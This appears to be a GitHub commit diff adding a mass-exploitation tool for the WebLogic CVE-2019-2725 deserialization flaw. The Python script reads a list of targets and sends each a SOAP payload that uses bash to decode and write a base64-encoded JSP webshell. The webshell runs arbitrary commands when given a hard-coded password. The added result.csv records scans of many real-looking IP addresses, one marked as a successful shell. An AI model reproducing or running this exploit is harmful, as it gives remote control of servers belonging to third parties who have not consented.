Skip to content

Commit 9943385

Browse files
No4lNo4l
committed
1 parent d2961f7 commit 9943385

5 files changed

Lines changed: 127 additions & 0 deletions

File tree

‎CVE-2019-2725/domain.txt‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
http://www.baidu.com

‎CVE-2019-2725/main.py‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
# -*- coding: utf-8 -*-
2+
#!/usr/bin/env python3
3+
from time import sleep
4+
import threading
5+
import requests
6+
import sys
7+
8+
##存在漏洞的路径，如果存在该路径则很大可能存在漏洞
9+
Path = '/_async/AsyncResponseService'
10+
WebSehll = '/_async/webshells.jsp'
11+
12+
##Payload
13+
Headers = {
14+
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0',
15+
'Content-Type': 'text/xml'
16+
}
17+
18+
Data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
19+
<soapenv:Header>
20+
<wsa:Action>xx</wsa:Action>
21+
<wsa:RelatesTo>xx</wsa:RelatesTo>
22+
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
23+
<void class="java.lang.ProcessBuilder">
24+
<array class="java.lang.String" length="3">
25+
<void index="0">
26+
<string>/bin/bash</string>
27+
</void>
28+
<void index="1">
29+
<string>-c</string>
30+
</void>
31+
<void index="2">
32+
<string>echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshells.jsp</string>
33+
</void>
34+
</array>
35+
<void method="start"/></void>
36+
</work:WorkContext>
37+
</soapenv:Header>
38+
<soapenv:Body>
39+
<asy:onAsyncDelivery/>
40+
</soapenv:Body></soapenv:Envelope>'''
41+
42+
43+
def printInfo():
44+
print('Usage: Python main.py filename')
45+
46+
def urlHeadle(url):
47+
if url.find('http')==0:
48+
return url.strip()
49+
else:
50+
return 'http://'+url.strip()
51+
52+
def start(file):
53+
urls = []
54+
with open(file) as f:
55+
for i in f.readlines():
56+
urls.append(urlHeadle(i))
57+
threads = []
58+
for i in urls:
59+
t = threading.Thread(target=run,args=(i,))
60+
threads.append(t)
61+
62+
for t in threads:
63+
t.setDaemon(True)
64+
t.start()
65+
sleep(0.5)
66+
67+
t.join()
68+
69+
def run(url):
70+
try:
71+
res = requests.get(url+Path,timeout=1)
72+
status = res.status_code
73+
except:
74+
status = 'XXX'
75+
76+
if status != 200:
77+
message = '[-]'+url+' may be not available,response code: '+str(status)
78+
print(message)
79+
else:
80+
try:
81+
res = requests.post(url+Path,data=Data,headers=Headers,timeout=1)
82+
except:
83+
status = 'XXX'
84+
message = 'put webshell error'
85+
if status == 'XXX':
86+
print('[-]'+url,message)
87+
else:
88+
try:
89+
res = requests.get(url+WebSehll,timeout=1)
90+
status = res.status_code
91+
except:
92+
status = 'XXX'
93+
message = 'connect error'
94+
if status == 200:
95+
message = 'congratulations get shell'
96+
print('[+]'+url,message)
97+
else:
98+
print('[-]'+url,message)
99+
with open('result.csv','a') as wf:
100+
wf.write(url+','+message+','+str(status))
101+
102+
103+
104+
105+
106+
if __name__ == '__main__':
107+
try:
108+
file = sys.argv[1]
109+
except:
110+
printInfo()
111+
exit()
112+
113+
start(file)
114+
115+
116+
# requests.post(i.strip()+Path,data=Data,headers=Headers)

‎CVE-2019-2725/readme.md‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
### CVE-2019-2725
2+
Weblogic wls9_async_response 反序列化RCE
3+
```cmd
4+
usage:
5+
python main.py domain.txt
6+
```
7+
结果保存在result.csv中

‎CVE-2019-2725/result.csv‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
http://47.106.125.183:7001,congratulations get shell,200http://211.140.178.45:8443,[-]http://211.140.178.45:8443 may be not available,response code: XXX,XXXhttp://211.140.178.29:8443,[-]http://211.140.178.29:8443 may be not available,response code: 404,404http://211.140.178.34:8443,[-]http://211.140.178.34:8443 may be not available,response code: 404,404http://211.140.178.41:8443,[-]http://211.140.178.41:8443 may be not available,response code: 404,404http://211.140.178.45:8443,[-]http://211.140.178.45:8443 may be not available,response code: XXX,XXXhttp://211.140.178.47:8443,[-]http://211.140.178.47:8443 may be not available,response code: 404,404http://211.140.178.48:8443,[-]http://211.140.178.48:8443 may be not available,response code: 404,404http://211.140.178.52:8443,[-]http://211.140.178.52:8443 may be not available,response code: 404,404http://211.140.178.58:8443,[-]http://211.140.178.58:8443 may be not available,response code: 404,404http://211.140.178.6:8443,[-]http://211.140.178.6:8443 may be not available,response code: 404,404http://211.140.178.60:8443,[-]http://211.140.178.60:8443 may be not available,response code: 404,404http://211.140.178.61:8443,[-]http://211.140.178.61:8443 may be not available,response code: 404,404http://211.140.178.64:8443,[-]http://211.140.178.64:8443 may be not available,response code: 404,404http://211.140.178.67:8443,[-]http://211.140.178.67:8443 may be not available,response code: 404,404http://211.140.178.74:8443,[-]http://211.140.178.74:8443 may be not available,response code: 404,404http://211.140.179.101:8443,[-]http://211.140.179.101:8443 may be not available,response code: 404,404http://211.140.179.117:8443,[-]http://211.140.179.117:8443 may be not available,response code: 404,404http://211.140.179.12:8443,[-]http://211.140.179.12:8443 may be not available,response code: 404,404http://211.140.179.120:8443,[-]http://211.140.179.120:8443 may be not available,response code: 404,404http://211.140.179.124:8443,[-]http://211.140.179.124:8443 may be not available,response code: 404,404http://211.140.179.129:8443,[-]http://211.140.179.129:8443 may be not available,response code: 404,404http://211.140.179.140:8443,[-]http://211.140.179.140:8443 may be not available,response code: 404,404http://211.140.179.141:8443,[-]http://211.140.179.141:8443 may be not available,response code: 404,404http://211.140.179.145:8443,[-]http://211.140.179.145:8443 may be not available,response code: 404,404http://211.140.179.147:8443,[-]http://211.140.179.147:8443 may be not available,response code: 404,404http://211.140.179.153:8443,[-]http://211.140.179.153:8443 may be not available,response code: 404,404http://211.140.179.160:8443,[-]http://211.140.179.160:8443 may be not available,response code: 404,404http://211.140.179.177:8443,[-]http://211.140.179.177:8443 may be not available,response code: 404,404http://211.140.179.187:8443,[-]http://211.140.179.187:8443 may be not available,response code: 404,404http://211.140.179.189:8443,[-]http://211.140.179.189:8443 may be not available,response code: 404,404http://211.140.179.19:8443,[-]http://211.140.179.19:8443 may be not available,response code: 404,404http://211.140.179.191:8443,[-]http://211.140.179.191:8443 may be not available,response code: 404,404http://211.140.179.192:8443,[-]http://211.140.179.192:8443 may be not available,response code: 404,404http://211.140.179.199:8443,[-]http://211.140.179.199:8443 may be not available,response code: 404,404http://211.140.179.203:8443,[-]http://211.140.179.203:8443 may be not available,response code: 404,404http://211.140.179.205:8443,[-]http://211.140.179.205:8443 may be not available,response code: 404,404http://211.140.179.206:8443,[-]http://211.140.179.206:8443 may be not available,response code: 404,404http://59.16.120.55:7001,[-]http://59.16.120.55:7001 may be not available,response code: XXX,XXX

‎readme.txt‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,3 +20,5 @@ CNVD:
2020
指纹识别，add error json
2121
2019/4/27
2222
Web Title
23+
2019/4/28
24+
CVE-2019-2725

0 commit comments

Comments
 (0)